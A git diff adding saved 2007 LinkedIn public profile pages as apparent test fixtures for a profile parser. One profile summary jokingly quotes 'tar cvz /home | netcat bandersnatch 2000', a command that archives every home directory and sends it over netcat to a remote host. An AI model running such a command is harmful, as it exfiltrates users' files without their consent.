+      <li type="disc"><a href="http://www.linkedin.com/find/in.html" >more</a></li>
+    </ol>
+  </div>
+
+  <ul>           
+       <li class="first"><a href="http://www.linkedin.com/static?key=company_info" >About LinkedIn</a></li>
+    <li><a href="http://www.linkedin.com/static?key=privacy_policy" >Privacy Policy</a></li>
+    <li><a href="http://www.linkedin.com/static?key=customer_service" >Help &amp; <acronym title="Frequently Asked Questions">FAQ</acronym></a></li>
+    <li><a href="http://www.linkedin.com/static?key=advertising_info" >Advertising</a></li>
+  </ul>
+  <p>Copyright &copy; 2007 LinkedIn Corporation. All rights reserved.</p>
+  <p class="terms">Use of this site is subject to express <a href="http://www.linkedin.com/static?key=user_agreement" >terms of use</a>, which prohibit commercial use of this site.<br>By continuing past this page, you agree to abide by these terms.</p>
+</div>
+
+
+</body>
+</html>
+
diff --git a/tests/nose/data/linkedin/clarkbw b/tests/nose/data/linkedin/clarkbw
new file mode 100644 (file)
index 0000000..83ecd36
--- /dev/null
@@ -0,0 +1,169 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
+<head>
+  <title>LinkedIn: Bryan Clark</title>
+  <link rel="shortcut icon" type="image/ico" href="/favicon.ico" />
+  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+  <meta name="description" content="Bryan Clark's professional profile on LinkedIn. LinkedIn is a networking tool that helps users like Bryan Clark discover inside connections to recommended job candidates, industry experts and business partners." />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/default.css" media="screen,projection,print" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/screen.css" media="screen,projection" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/print.css" media="print" />
+  <script type="text/javascript" src="/js/showhide.js"></script>
+  <script type="text/javascript" src="/js/public_profile.js"></script>
+  <script type="text/javascript">
+    if(typeof(i18n) == 'undefined') var i18n = {}; 
+    i18n.TEXT_PLEASE_ENTER = "Please enter a first and last name.";
+  </script>
+  <script type="text/javascript" src="/js/scripts.js"></script>
+  <script type="text/javascript" src="/js/adproxy.js"></script>
+  <script type="text/javascript">var google_keywords = null, google_ad_client = 'pub-2283433109277150', dbl_ord = Math.random() * 10000000000000000;</script>
+</head>
+<body id="www-linkedin-com" class="public-profile basic">
+<div class="hresume">
+  <div id="main">
+        <div id="masthead" class="vcard contact">
+          <div id="nameplate">
+            <h1 id="name"><span class="fn n"> <span class="given-name">Bryan</span> <span class="family-name">Clark</span> </span></h1>
+                <p class="headline title summary"><strong>Virtualization Interaction Designer</strong></p>
+            <div class="adr">
+              <p class="locality">
+                Greater Boston Area
+              </p>
+            </div>
+          </div>
+          <div id="overview">
+            <dl>
+                <dt class="recommended">Recommended</dt>
+                <dd class="recommended">
+<img src="/img/icon/endorse/icon_endorse_1_35x24.gif" width="35" height="24" alt="Bryan has 1 recommendation(s)" title="Bryan has 1 recommendation(s)" />                  <strong class="recommendation-count r1">1</strong> person has recommended Bryan </dd>
+                <dt class="connections">Connections</dt>
+                <dd class="connections">
+                  <img src="/img/icon/conx/icon_conx_13_24x24.gif" width="24" height="24" alt="" />
+                  <strong class="connection-count">
+                  99
+                  </strong> connections
+                </dd>
+              <dt>Industry</dt>
+              <dd>
+                Computer Software
+              </dd>
+            </dl>
+            <div class="basicpitch" id="readmore">
+                                                       <h2>View Bryan&#8217;s full profile:</h2>
+                                                       <ul>
+                                                               <li>See who you and <strong>Bryan Clark</strong> know in common</li>
+                                                               <li>Get introduced to <strong>Bryan Clark</strong></li>
+                                                               <li>Contact <strong>Bryan Clark</strong> directly</li>
+                                                       </ul>
+                                                       <p class="btn">
+                                                               <a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=2222804&authToken=N5ay&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a>
+                                                       </p>
+            </div>
+          </div>
+        </div>
+  </div>
+  <div id="control" class="infobar">
+    <div class="powered">
+      <h3> Public profile powered by: <a href="http://www.linkedin.com/home?trk=ppro_pbli" ><img src="/img/logos/logo_82x23.gif" height="23" width="82" alt="LinkedIn"></a>
+      </h3>
+      <p>Create a public profile: <strong>
+        <a href="http://www.linkedin.com/ppl/webprofile?action=gwp&id=2222804&authToken=N5ay&authType=name&trk=ppro_geturl" >Sign In</a>
+        </strong> or <strong>
+        <a href="https://www.linkedin.com/secure/register?trk=ppro_joinnow" >Join Now</a>
+        </strong></p>
+    </div>
+    <div class="box" id="search">
+      <div class="title">
+        <h3><strong>Name Search</strong></h3>
+      </div>
+      <div class="content">
+        <p><strong>Search for people you know</strong> from over 17 million professionals already on LinkedIn.</p>
+        <form name="searchForm" action="/pub/dir/" method="get">
+          <p class="field"><span class="lbl">
+            <label for="first">First Name</label>
+            <br />
+            </span>
+            <input type="text" name="first" id="first" />
+            &nbsp;&nbsp;<span class="lbl"><br />
+            <label for="last">Last Name</label>
+            <br />
+            </span>
+            <input type="text" name="last" id="last" />
+          </p>
+          <p class="example">
+            <input class="btn-secondary" type="submit" name="search" value="Search"/> (example: <strong>
+<a href="/pub/dir/Bryan/Clark?trk=ppro_find_others" >Bryan Clark</a></strong>)
+          </p>
+        </form>
+      </div>
+    </div>
+    <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { fancyLabels.init('search'); }
+  // -->
+  </script>
+    <script type="text/javascript">var dbl_page = 'public_profile';</script>
+    <script type="text/javascript">
+        var google_ad_width = 300, google_ad_height = 250, google_ad_format = '300x250_as';
+      </script>
+      <script type="text/javascript" src="/js/google.js"></script>
+      <script type="text/javascript">
+        var dbl_extra = 'extra=null', dbl_tile = '6', dbl_sz = '300x250';
+        var dbl_profile = LIAds.getProfile().replace(/&/g,';');
+        var dbl_src = "http://ad.doubleclick.net/adj/linkedin.dart/" + dbl_page + ";" + dbl_profile + ";tile=" + dbl_tile + ";dcopt=ist;sz=" + dbl_sz + ";" + encodeURIComponent(dbl_extra) + ";ord=" + dbl_ord +"?";
+        document.write('<script src="' + dbl_src + '" type="text/javascript"><\/script>');
+      </script>
+  </div>
+</div>
+<hr />
+
+
+<div id="footer" class="guest">
+  <div id="directory">
+    <h3>People directory:</h3>
+    <ol type="a">
+      <li><a href="http://www.linkedin.com/find/a.html" >A</a></li>
+      <li><a href="http://www.linkedin.com/find/b.html" >B</a></li>
+      <li><a href="http://www.linkedin.com/find/c.html" >C</a></li>
+      <li><a href="http://www.linkedin.com/find/d.html" >D</a></li>
+      <li><a href="http://www.linkedin.com/find/e.html" >E</a></li>
+      <li><a href="http://www.linkedin.com/find/f.html" >F</a></li>
+      <li><a href="http://www.linkedin.com/find/g.html" >G</a></li>
+      <li><a href="http://www.linkedin.com/find/h.html" >H</a></li>
+      <li><a href="http://www.linkedin.com/find/i.html" >I</a></li>
+      <li><a href="http://www.linkedin.com/find/j.html" >J</a></li>
+      <li><a href="http://www.linkedin.com/find/k.html" >K</a></li>
+      <li><a href="http://www.linkedin.com/find/l.html" >L</a></li>
+      <li><a href="http://www.linkedin.com/find/m.html" >M</a></li>
+      <li><a href="http://www.linkedin.com/find/n.html" >N</a></li>
+      <li><a href="http://www.linkedin.com/find/o.html" >O</a></li>
+      <li><a href="http://www.linkedin.com/find/p.html" >P</a></li>
+      <li><a href="http://www.linkedin.com/find/q.html" >Q</a></li>
+      <li><a href="http://www.linkedin.com/find/r.html" >R</a></li>
+      <li><a href="http://www.linkedin.com/find/s.html" >S</a></li>
+      <li><a href="http://www.linkedin.com/find/t.html" >T</a></li>
+      <li><a href="http://www.linkedin.com/find/u.html" >U</a></li>
+      <li><a href="http://www.linkedin.com/find/v.html" >V</a></li>
+      <li><a href="http://www.linkedin.com/find/w.html" >W</a></li>
+      <li><a href="http://www.linkedin.com/find/x.html" >X</a></li>
+      <li><a href="http://www.linkedin.com/find/y.html" >Y</a></li>
+      <li><a href="http://www.linkedin.com/find/z.html" >Z</a></li>
+      <li type="disc"><a href="http://www.linkedin.com/find/in.html" >more</a></li>
+    </ol>
+  </div>
+
+  <ul>           
+       <li class="first"><a href="http://www.linkedin.com/static?key=company_info" >About LinkedIn</a></li>
+    <li><a href="http://www.linkedin.com/static?key=privacy_policy" >Privacy Policy</a></li>
+    <li><a href="http://www.linkedin.com/static?key=customer_service" >Help &amp; <acronym title="Frequently Asked Questions">FAQ</acronym></a></li>
+    <li><a href="http://www.linkedin.com/static?key=advertising_info" >Advertising</a></li>
+  </ul>
+  <p>Copyright &copy; 2007 LinkedIn Corporation. All rights reserved.</p>
+  <p class="terms">Use of this site is subject to express <a href="http://www.linkedin.com/static?key=user_agreement" >terms of use</a>, which prohibit commercial use of this site.<br>By continuing past this page, you agree to abide by these terms.</p>
+</div>
+
+
+</body>
+</html>
+
diff --git a/tests/nose/data/linkedin/johnath b/tests/nose/data/linkedin/johnath
new file mode 100644 (file)
index 0000000..dfe8f95
--- /dev/null
@@ -0,0 +1,455 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
+<head>
+  <title>LinkedIn: Johnathan Nightingale</title>
+  <link rel="shortcut icon" type="image/ico" href="/favicon.ico" />
+  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+  <meta name="description" content="Johnathan Nightingale's professional profile on LinkedIn. LinkedIn is a networking tool that helps users like Johnathan Nightingale discover inside connections to recommended job candidates, industry experts and business partners." />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/default.css" media="screen,projection,print" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/screen.css" media="screen,projection" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/print.css" media="print" />
+  <script type="text/javascript" src="/js/showhide.js"></script>
+  <script type="text/javascript" src="/js/public_profile.js"></script>
+  <script type="text/javascript">
+    if(typeof(i18n) == 'undefined') var i18n = {}; 
+    i18n.TEXT_PLEASE_ENTER = "Please enter a first and last name.";
+  </script>
+  <script type="text/javascript" src="/js/scripts.js"></script>
+  <script type="text/javascript" src="/js/adproxy.js"></script>
+  <script type="text/javascript">var google_keywords = null, google_ad_client = 'pub-2283433109277150', dbl_ord = Math.random() * 10000000000000000;</script>
+</head>
+<body id="www-linkedin-com" class="public-profile">
+<div class="hresume">
+    <div class="profile-header">
+      <div class="masthead vcard contact">
+        <div id="nameplate">
+          <h1 id="name"><span class="fn n"><span class="given-name">Johnathan</span> <span class="family-name">Nightingale</span></span></h1>
+        </div>
+        <div class="content">
+          <div class="info">
+              <p class="headline title">Software Hacker and Usability Maven</p>
+            <div class="adr">
+              <p class="locality">
+                Toronto, Canada Area
+              </p>
+            </div>
+          </div>
+          <div class="actions">
+            <ul>
+              <li id="send-inmail">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=3235236&authToken=Eq4S&authType=name&trk=ppro_cntdir" >Contact Directly</a>
+              </li>
+              <li id="get-introduced">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=3235236&authToken=Eq4S&authType=name&trk=ppro_getintr" >Get introduced through a connection</a>
+              </li>
+                  <li class="website">
+ <a href="http://blog.johnath.com" class="url" rel="me" target="_blank">
+                        My Blog
+                        </a>                   </li>
+            </ul>
+          </div>
+        </div>
+      </div>
+    </div>
+  <div id="main">
+        <div id="overview">
+          <dl>
+              <dt>Current</dt>
+              <dd>
+                <ul class="current">
+                        <li>
+
+
+
+Human Shield at Mozilla Corporation
+
+                        </li>
+                </ul>
+              </dd>
+              <dt>Past</dt>
+              <dd>
+                <ul>
+                        <li>
+
+
+
+Usability Specialist at IBM
+
+                        </li>
+                        <li>
+
+
+
+Staff Software Developer at IBM
+
+                        </li>
+                        <li>
+
+
+
+Researcher at University of Toronto Psychology
+
+                        </li>
+                </ul>
+                  <div class="showhide-block" id="morepast">
+                    <ul>
+                    </ul>
+                    <p class="seeall showhide-link"><a href="#" id="morepast-hide">see less...</a></p>
+                  </div>
+              </dd>
+              <dt>Education</dt>
+              <dd>
+                <ul>
+                      <li>
+                        
+          University of Toronto
+      
+                      </li>
+                </ul>
+              </dd>
+              <dt class="recommended">Recommended</dt>
+              <dd class="recommended">
+<img src="/img/icon/endorse/icon_endorse_1_35x24.gif" width="35" height="24" alt="Johnathan has 2 recommendation(s)" title="Johnathan has 2 recommendation(s)" />                <strong class="recommendation-count r1">2</strong> people have recommended Johnathan </dd>
+              <dt class="connections">Connections</dt>
+              <dd class="connections">
+                <img src="/img/icon/conx/icon_conx_13_24x24.gif" width="24" height="24" alt="" />
+                <strong class="connection-count">
+                109
+                </strong> connections
+              </dd>
+            <dt>Industry</dt>
+            <dd>
+              Computer Software
+            </dd>
+              <dt>Websites</dt>
+              <dd>
+                <ul>
+                    <li>
+<a href="http://blog.johnath.com" class="url" rel="me" target="_blank">
+                          My Blog
+                          </a>                     </li>
+                </ul>
+              </dd>
+          </dl>
+        </div>
+        <hr />
+        <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { showHide.init(); }
+  // -->
+  </script>
+          <div id="summary">
+            <h2>Johnathan Nightingale&#8217;s Summary</h2>
+              <p class="summary">
+                Cross-disciplinary right out the gate, I spent a few years honing my coding chops on relatively massive projects (e.g. WebSphere Integration Developer) before taking a job shaping user experience and driving improved ease of use into a company that (much as I love it) is not known for usable design.  I've written for Make:, Dr. Dobb's, and Intercom on subjects from improving cross-product integration to making your own screwdrivers.  \r<br>
+\r<br>
+Right now I'm starting a new role with the Mozilla Corporation as someone once again occupying the center of the Venn diagram. I'll be trying very hard to manage the intersection of usability, security, and coding in a way that makes some sense.  Check my blog if you're interested in updates as to how I'm making out.\r<br>
+\r<br>
+But my pedigree doesn't really matter here.  Talk to me when you want ideas to make things better, communicated by someone who can speak in complete sentences and write with semi-colons.  Talk to me when you need someone who understands ease of use *and* the simple elegance of "tar cvz /home | netcat bandersnatch 2000".  I am always looking for interesting work to work, writing to write, or learning to learn.
+              </p>
+              <h3>Johnathan Nightingale&#8217;s Specialties:</h3>
+              <p class="skills">
+                Software development and design, user centered design, user advocacy, security, communications
+              </p>
+          </div>
+          <hr />
+          <div id="experience">
+            <h2>Johnathan Nightingale&#8217;s Experience</h2>
+            <ul class="vcalendar">
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Human Shield</h3>
+      <h4 class="org summary">Mozilla Corporation</h4>
+    
+  <p class="organization-details">(Non-Profit; 51-200 employees; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2007-02-01">February 2007</abbr>
+         &mdash; <abbr class="dtstamp" title="2008-02-01">Present</abbr>
+        
+        <abbr class="duration" title="P1Y1M">(1 year 1 month)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">My job is to take 2 of the very human aspects of software design and development, usability and security, and blend them together in a way that makes the internet a better place.  This includes a role representing Mozilla in public fora around issues of trust and safety on the web, as well as working with the broad community of contributors to the open source Firefox project.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Usability Specialist</h3>
+      <h4 class="org summary">IBM</h4>
+    
+  <p class="organization-details">(Public Company; 10,001 or more employees; IBM; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2005-10-01">October 2005</abbr>
+         &mdash; <abbr class="dtend" title="2007-02-01">February 2007</abbr>
+        
+        <abbr class="duration" title="P1Y5M">(1 year 5 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">My job is to work with the development team from senior management through to individual developers to help them a) understand the vision for the product, b) understand the user of the product, c) understand the context of the product and the surrounding ecosystem in which it exists, and d) understand why they should care, and how to make meaningful changes to improve things in light of a), b) and c).  It's about breadth *and* depth, with the tenacity of a pit bull.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Staff Software Developer</h3>
+      <h4 class="org summary">IBM</h4>
+    
+  <p class="organization-details">(Public Company; 10,001 or more employees; IBM; Computer Software industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="2001-06-01">June 2001</abbr>
+         &mdash; <abbr class="dtend" title="2005-10-01">October 2005</abbr>
+        
+        <abbr class="duration" title="P4Y5M">(4 years 5 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Owned the code for a variety of product components over the years including notably: an easy to use WSDL editor for WebSphere Application Developer (Integration Edition) and later a visual XML Schema editor for WebSphere Integration Developer.  It's hard to communicate here the general hotness of the team on which I worked, but suffice it to say we were each fiercely proud of the work we did, and of the praise we received for doing it.  We produced quality, full stop.</p>
+  
+</li>
+
+
+
+
+<li class="experience vevent vcard"> <a href="#name" class="include"></a>
+  
+      <h3 class="title">Researcher</h3>
+      <h4 class="org summary">University of Toronto Psychology</h4>
+    
+  <p class="organization-details">(Educational Institution; 1001-5000 employees; Research industry)</p>
+  <p class="period">
+    
+        <abbr class="dtstart" title="1996-01-01">January 1996</abbr>
+         &mdash; <abbr class="dtend" title="2001-04-01">April 2001</abbr>
+        
+        <abbr class="duration" title="P5Y4M">(5 years 4 months)</abbr>
+        
+      
+  </p>
+  
+    <p class="description">Over summers and later during school as well, I managed a research lab focused on studies of visual attention (e.g. eye-tracking), cognition, and expertise.  This is also when I co-wrote the artificial intelligence tutorial review for our undergrad students.  Ask me about expert chess players some time, they're an interesting bunch.</p>
+  
+</li>
+
+            </ul>
+          </div>
+          <hr />
+          <div id="education">
+            <h2>Johnathan Nightingale&#8217;s Education</h2>
+            <ul class="vcalendar">
+
+
+
+
+       <li class="education vevent vcard">
+    <h3 class="summary fn org">
+      
+          University of Toronto
+        
+      </h3>
+               <div class="description">
+    <p>
+      <span class="degree">Hon. B. Sc.</span>, <span class="major">Cognitive Science &amp; Artificial Intelligence</span>, 
+      
+          <span name="startDate"><abbr class="dtstart" title="1997-01-01">1997</abbr></span> &mdash; <span name="endDate"><abbr class="dtend" title="2001-12-31">2001</abbr></span> 
+        
+    </p>
+    
+    
+               </div>
+  </li>
+
+
+            </ul>
+          </div>
+          <hr />
+          <div id="additional-information">
+            <h2>Additional Information</h2>
+              <h3>Johnathan Nightingale&#8217;s Websites:</h3>
+              <ul class="websites">
+                  <li>
+<a href="http://blog.johnath.com" rel="me" target="_blank">
+                        My Blog
+                        </a>                  </li>
+              </ul>
+              <h3>Johnathan Nightingale&#8217;s Interests:</h3>
+              <p class="interests">technology, security, usability, artificial intelligence, finance, business, golf, software design</p>
+              <h3>Johnathan Nightingale&#8217;s Groups:</h3>
+              <ul>
+                  <li class="affiliation vcard">               
+                               <a href="http://www.linkedin.com/groupInvitation?groupID=37658&sharedKey=744A566F2D9D" >          <img src="http://media.linkedin.com/media/p/1/000/000/2f1/03b28be.jpg" width="60" height="30" alt="Black Hat member" class="logo">
+</a>&nbsp;&nbsp;            
+                    <span class="fn org">Black Hat member</span> </li>
+              </ul>
+          </div>
+          <hr />
+      <div id="contact-settings">
+        <h2>Johnathan Nightingale&#8217;s Contact Settings</h2>
+        <h3>Interested In:</h3>
+        <ul>
+            <li>
+              career opportunities
+            </li>
+            <li>
+              new ventures
+            </li>
+            <li>
+              job inquiries
+            </li>
+            <li>
+              expertise requests
+            </li>
+            <li>
+              business deals
+            </li>
+            <li>
+              reference requests
+            </li>
+            <li>
+              getting back in touch
+            </li>
+        </ul>
+      </div>
+      <hr />
+      <div class="viewfull">
+        <p><a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=3235236&authToken=Eq4S&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a></p>
+      </div>
+  </div>
+  <div id="control" class="infobar">
+    <div class="powered">
+      <h3> Public profile powered by: <a href="http://www.linkedin.com/home?trk=ppro_pbli" ><img src="/img/logos/logo_82x23.gif" height="23" width="82" alt="LinkedIn"></a>
+      </h3>
+      <p>Create a public profile: <strong>
+        <a href="http://www.linkedin.com/ppl/webprofile?action=gwp&id=3235236&authToken=Eq4S&authType=name&trk=ppro_geturl" >Sign In</a>
+        </strong> or <strong>
+        <a href="https://www.linkedin.com/secure/register?trk=ppro_joinnow" >Join Now</a>
+        </strong></p>
+    </div>
+      <div class="box" id="readmore">
+        <div class="title">
+          <h3>View Johnathan&#8217;s full profile:</h3>
+        </div>
+        <div class="content">
+          <ul>
+            <li>See who you and <strong>Johnathan Nightingale</strong> know in common</li>
+            <li>Get introduced to <strong>Johnathan Nightingale</strong></li>
+            <li>Contact <strong>Johnathan Nightingale</strong> directly</li>
+          </ul>
+          <p class="btn">
+            <a href="http://www.linkedin.com/ppl/webprofile?action=vmi&id=3235236&authToken=Eq4S&authType=name&trk=ppro_viewmore" class="action"><span>View Full Profile</span></a>
+          </p>
+        </div>
+      </div>
+    <div class="box" id="search">
+      <div class="title">
+        <h3><strong>Name Search</strong></h3>
+      </div>
+      <div class="content">
+        <p><strong>Search for people you know</strong> from over 17 million professionals already on LinkedIn.</p>
+        <form name="searchForm" action="/pub/dir/" method="get">
+          <p class="field"><span class="lbl">
+            <label for="first">First Name</label>
+            <br />
+            </span>
+            <input type="text" name="first" id="first" />
+            &nbsp;&nbsp;<span class="lbl"><br />
+            <label for="last">Last Name</label>
+            <br />
+            </span>
+            <input type="text" name="last" id="last" />
+          </p>
+          <p class="example">
+            <input class="btn-secondary" type="submit" name="search" value="Search"/> (example: <strong>
+<a href="/in/danielnye?trk=ppro_find_others_rh" >Dan Nye</a></strong>)
+          </p>
+        </form>
+      </div>
+    </div>
+    <script type="text/javascript">
+<!--
+  if (window.addEventListener || window.attachEvent)
+  { fancyLabels.init('search'); }
+  // -->
+  </script>
+    <script type="text/javascript">var dbl_page = 'public_profile';</script>
+    <script type="text/javascript">
+        var google_ad_width = 300, google_ad_height = 250, google_ad_format = '300x250_as';
+      </script>
+      <script type="text/javascript" src="/js/google.js"></script>
+      <script type="text/javascript">
+        var dbl_extra = 'extra=null', dbl_tile = '6', dbl_sz = '300x250';
+        var dbl_profile = LIAds.getProfile().replace(/&/g,';');
+        var dbl_src = "http://ad.doubleclick.net/adj/linkedin.dart/" + dbl_page + ";" + dbl_profile + ";tile=" + dbl_tile + ";dcopt=ist;sz=" + dbl_sz + ";" + encodeURIComponent(dbl_extra) + ";ord=" + dbl_ord +"?";
+        document.write('<script src="' + dbl_src + '" type="text/javascript"><\/script>');
+      </script>
+  </div>
+</div>
+<hr />
+
+
+<div id="footer" class="guest">
+  <div id="directory">
+    <h3>People directory:</h3>
+    <ol type="a">
+      <li><a href="http://www.linkedin.com/find/a.html" >A</a></li>
+      <li><a href="http://www.linkedin.com/find/b.html" >B</a></li>
+      <li><a href="http://www.linkedin.com/find/c.html" >C</a></li>
+      <li><a href="http://www.linkedin.com/find/d.html" >D</a></li>
+      <li><a href="http://www.linkedin.com/find/e.html" >E</a></li>
+      <li><a href="http://www.linkedin.com/find/f.html" >F</a></li>
+      <li><a href="http://www.linkedin.com/find/g.html" >G</a></li>
+      <li><a href="http://www.linkedin.com/find/h.html" >H</a></li>
+      <li><a href="http://www.linkedin.com/find/i.html" >I</a></li>
+      <li><a href="http://www.linkedin.com/find/j.html" >J</a></li>
+      <li><a href="http://www.linkedin.com/find/k.html" >K</a></li>
+      <li><a href="http://www.linkedin.com/find/l.html" >L</a></li>
+      <li><a href="http://www.linkedin.com/find/m.html" >M</a></li>
+      <li><a href="http://www.linkedin.com/find/n.html" >N</a></li>
+      <li><a href="http://www.linkedin.com/find/o.html" >O</a></li>
+      <li><a href="http://www.linkedin.com/find/p.html" >P</a></li>
+      <li><a href="http://www.linkedin.com/find/q.html" >Q</a></li>
+      <li><a href="http://www.linkedin.com/find/r.html" >R</a></li>
+      <li><a href="http://www.linkedin.com/find/s.html" >S</a></li>
+      <li><a href="http://www.linkedin.com/find/t.html" >T</a></li>
+      <li><a href="http://www.linkedin.com/find/u.html" >U</a></li>
+      <li><a href="http://www.linkedin.com/find/v.html" >V</a></li>
+      <li><a href="http://www.linkedin.com/find/w.html" >W</a></li>
+      <li><a href="http://www.linkedin.com/find/x.html" >X</a></li>
+      <li><a href="http://www.linkedin.com/find/y.html" >Y</a></li>
+      <li><a href="http://www.linkedin.com/find/z.html" >Z</a></li>
+      <li type="disc"><a href="http://www.linkedin.com/find/in.html" >more</a></li>
+    </ol>
+  </div>
+
+  <ul>           
+       <li class="first"><a href="http://www.linkedin.com/static?key=company_info" >About LinkedIn</a></li>
+    <li><a href="http://www.linkedin.com/static?key=privacy_policy" >Privacy Policy</a></li>
+    <li><a href="http://www.linkedin.com/static?key=customer_service" >Help &amp; <acronym title="Frequently Asked Questions">FAQ</acronym></a></li>
+    <li><a href="http://www.linkedin.com/static?key=advertising_info" >Advertising</a></li>
+  </ul>
+  <p>Copyright &copy; 2007 LinkedIn Corporation. All rights reserved.</p>
+  <p class="terms">Use of this site is subject to express <a href="http://www.linkedin.com/static?key=user_agreement" >terms of use</a>, which prohibit commercial use of this site.<br>By continuing past this page, you agree to abide by these terms.</p>
+</div>
+
+
+</body>
+</html>
+
diff --git a/tests/nose/data/linkedin/johnlilly b/tests/nose/data/linkedin/johnlilly
new file mode 100644 (file)
index 0000000..7773515
--- /dev/null
@@ -0,0 +1,595 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
+<head>
+  <title>LinkedIn: John Lilly</title>
+  <link rel="shortcut icon" type="image/ico" href="/favicon.ico" />
+  <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
+  <meta name="description" content="John Lilly's professional profile on LinkedIn. LinkedIn is a networking tool that helps users like John Lilly discover inside connections to recommended job candidates, industry experts and business partners." />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/default.css" media="screen,projection,print" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/screen.css" media="screen,projection" />
+  <link rel="stylesheet" type="text/css" href="/css/public-profile/print.css" media="print" />
+  <script type="text/javascript" src="/js/showhide.js"></script>
+  <script type="text/javascript" src="/js/public_profile.js"></script>
+  <script type="text/javascript">
+    if(typeof(i18n) == 'undefined') var i18n = {}; 
+    i18n.TEXT_PLEASE_ENTER = "Please enter a first and last name.";
+  </script>
+  <script type="text/javascript" src="/js/scripts.js"></script>
+  <script type="text/javascript" src="/js/adproxy.js"></script>
+  <script type="text/javascript">var google_keywords = null, google_ad_client = 'pub-2283433109277150', dbl_ord = Math.random() * 10000000000000000;</script>
+</head>
+<body id="www-linkedin-com" class="public-profile">
+<div class="hresume">
+    <div class="profile-header">
+      <div class="masthead vcard contact portrait">
+        <div id="nameplate">
+          <h1 id="name"><span class="fn n"><span class="given-name">John</span> <span class="family-name">Lilly</span></span></h1>
+        </div>
+        <div class="content">
+          <div class="info">
+              <div class="image"><img class="photo" src="http://media.linkedin.com/mpr/mpr/shrink_80_80/p/3/000/004/1a1/28c9779.jpg" alt="John Lilly"/></div>
+            <div class="adr">
+              <p class="locality">
+                San Francisco Bay Area
+              </p>
+            </div>
+          </div>
+          <div class="actions">
+            <ul>
+              <li id="send-inmail">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=1269&authToken=6G_6&authType=name&trk=ppro_cntdir" >Contact Directly</a>
+              </li>
+              <li id="get-introduced">
+                <a href="http://www.linkedin.com/ppl/webprofile?action=ctu&id=1269&authToken=6G_6&authType=name&trk=ppro_getintr" >Get introduced through a connection</a>
+              </li>
+            </ul>
+          </div>
+        </div>
+      </div>
+    </div>
+  <div id="main">
+        <div id="overview">
+          <dl>
+              <dt>Current</dt>
+              <dd>
+                <ul class="current">
+                        <li>
+
+
+
+CEO at Mozilla Corporation
+
+                        </li>
+                        <li>
+
+
+
+Member, Board of Trustees at Sunnyvale Public Library
+
+                        </li>
+                        <li>
+
+
+
+Member, Board of Directors at Open Source Applications Foundation
+
+                        </li>
+                </ul>
+                  <div class="showhide-block" id="morecurr">
+                    <ul class="current">
+                    </ul>
+                    <p class="seeall showhide-link"><a href="#" id="morecurr-hide">see less...</a></p>
+                  </div>
+              </dd>
+              <dt>Past</dt>
+              <dd>
+                <ul>
+                        <li>
+
+
+
+Chief Operating Officer &amp; Member, Board of Directors at Mozilla Corporation
+
+                        </li>
+                        <li>
+
+
+
+CTO, VP Products, Board of Directors &amp; Founder at Reactivity (acquired by Cisco)
+
+                        </li>
+                        <li>
+
+
+
+Member, Board of Directors at CenterRun
+
+                        </li>
+                </ul>
+                  <div class="showhide-block" id="morepast">
+                    <ul>
+                            <li>
+
+
+
+CEO, Board of Directors &amp; Founder at Reactivity
+
+                            </li>
+                            <li>
+
+
+
+Senior Scientist at Apple Computer
+
+                            </li>
+                            <li>
+
+
+
+Director of Design at Trilogy Software
+
+                            </li>
+                    </ul>
+                    <p class="seeall showhide-link"><a href="#" id="morepast-hide">see less...</a></p>
+                  </div>
+                      <p class="seeall showhide-link"><a href="#" id="morepast-show">3 more...</a></p>
+              </dd>
+              <dt>Education</dt>
+              <dd>
+                <ul>
+                      <li>
+                        
+           Stanford University
+      
+                      </li>
+                      <li>
+                        
+           Stanford University
+      
+                      </li>
+                </ul>
+              </dd>
+              <dt class="recommended">Recommended</dt>
+              <dd class="recommended">
+<img src="/img/icon/endorse/icon_endorse_1_35x24.gif" width="35" height="24" alt="John has 2 recommendation(s)" title="John has 2 recommendation(s)" />                <strong class="recommendation-count r1">2</strong> people have recommended John </dd>
+              <dt class="connections">Connections</dt>
+              <dd class="connections">
